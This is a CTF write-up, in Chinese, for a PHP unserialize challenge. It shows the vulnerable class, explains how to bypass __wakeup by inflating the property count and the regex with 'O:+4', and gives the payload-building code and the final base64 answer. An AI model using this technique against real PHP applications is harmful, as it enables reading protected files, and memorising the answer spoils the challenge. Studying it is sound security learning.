题目:
<?php
class Demo {
private $file = 'index.php';
public function __construct($file) {
$this->file = $file;
}
function __destruct() {
echo @highlight_file($this->file, true);
}
function __wakeup() {
if ($this->file != 'index.php') {
//the secret is in the fl4g.php
$this->file = 'index.php';
}
}
}
if (isset($_GET['var'])) {
$var = base64_decode($_GET['var']);
if (preg_match('/[oc]:\d+:/i', $var)) {
die('stop hacking!');
} else {
@unserialize($var);
}
} else {
highlight_file("index.php");
}
?>
======================================================================================
解题思路:
对Demo这个类进行序列化,base64加密之后,赋值给var变量进行get传参就行了
在类Demo中有一个私有变量,三个方法分别是一个构造,一个析构,还有就是一个魔术方法。
构造函数__construct()在程序执行开始的时候对变量进行赋初值。
析构函数__destruct(),在对象所在函数执行完成之后,会自动调用,这里就会高亮显示出文件。
在反序列化执行之前,会先执行__wakeup这个魔术方法,所以需要绕过,当成员属性数目大于实际数目时可绕过wakeup方法,正则匹配可以用+号来进行绕过。
======================================================================================
解答过程:代码在线运行工具https://tool.lu/coderunner/
1 <?php 2 class Demo { 3 private $file = 'index.php'; 4 //protected $file1 = 'index.php'; 5 public function __construct($file) { 6 $this->file = $file; 7 //$this->file1 = $file1; 8 } 9 function __destruct() { 10 echo @highlight_file($this->file, true); 11 } 12 function __wakeup() { 13 if ($this->file != 'index.php') { 14 //the secret is in the fl4g.php 15 $this->file = 'index.php'; 16 } 17 } 18 } 19 $a = new Demo("fl4g.php"); // 创建一个对象 20 echo serialize($a)."\n"; // 序列化 21 //O:4:"Demo":1:{s:10:" Demo file";s:8:"fl4g.php";} 22 $b = serialize($a); 23 $b = str_replace('O:4','O:+4',$b); // 使用+号绕过preg_match()正则匹配 24 echo $b."\n"; // 25 $b = str_replace(':1:',':2:',$b); // 当成员属性数目大于实际数目时可绕过wakeup方法 26 echo $b."\n"; 27 echo base64_encode($b); 28 // <?php 29 class Demo { 30 private $file = 'index.php'; 31 //protected $file1 = 'index.php'; 32 public function __construct($file) { 33 $this->file = $file; 34 //$this->file1 = $file1; 35 } 36 function __destruct() { 37 echo @highlight_file($this->file, true); 38 } 39 function __wakeup() { 40 if ($this->file != 'index.php') { 41 //the secret is in the fl4g.php 42 $this->file = 'index.php'; 43 } 44 } 45 } 46 $a = new Demo("fl4g.php"); // 创建一个对象 47 echo serialize($a)."\n"; // 序列化 48 //O:4:"Demo":1:{s:10:" Demo file";s:8:"fl4g.php";} 49 $b = serialize($a); 50 $b = str_replace('O:4','O:+4',$b); // 使用+号绕过preg_match()正则匹配 51 echo $b."\n"; // 52 $b = str_replace(':1:',':2:',$b); // 当成员属性数目大于实际数目时可绕过wakeup方法 53 echo $b."\n"; 54 echo base64_encode($b); 55 // 答案:TzorNDoiRGVtbyI6Mjp7czoxMDoiAERlbW8AZmlsZSI7czo4OiJmbDRnLnBocCI7fQ== 56 ?> 57 ?>View Code
=======================================================================================
总结:
1.进行代码审计,发现为反序列,如果一个类定义了wakup()和destruct(),则该类的实例被反序列化时,会自动调用wakeup(), 生命周期结束时,则调用desturct()。
2.在 PHP5 < 5.6.25, PHP7 < 7.0.10 的版本存在wakeup的漏洞。当反序列化中object的个数和之前的个数不等时,wakeup就会被绕过。
3.通过+号可以绕过正则匹配preg_match
()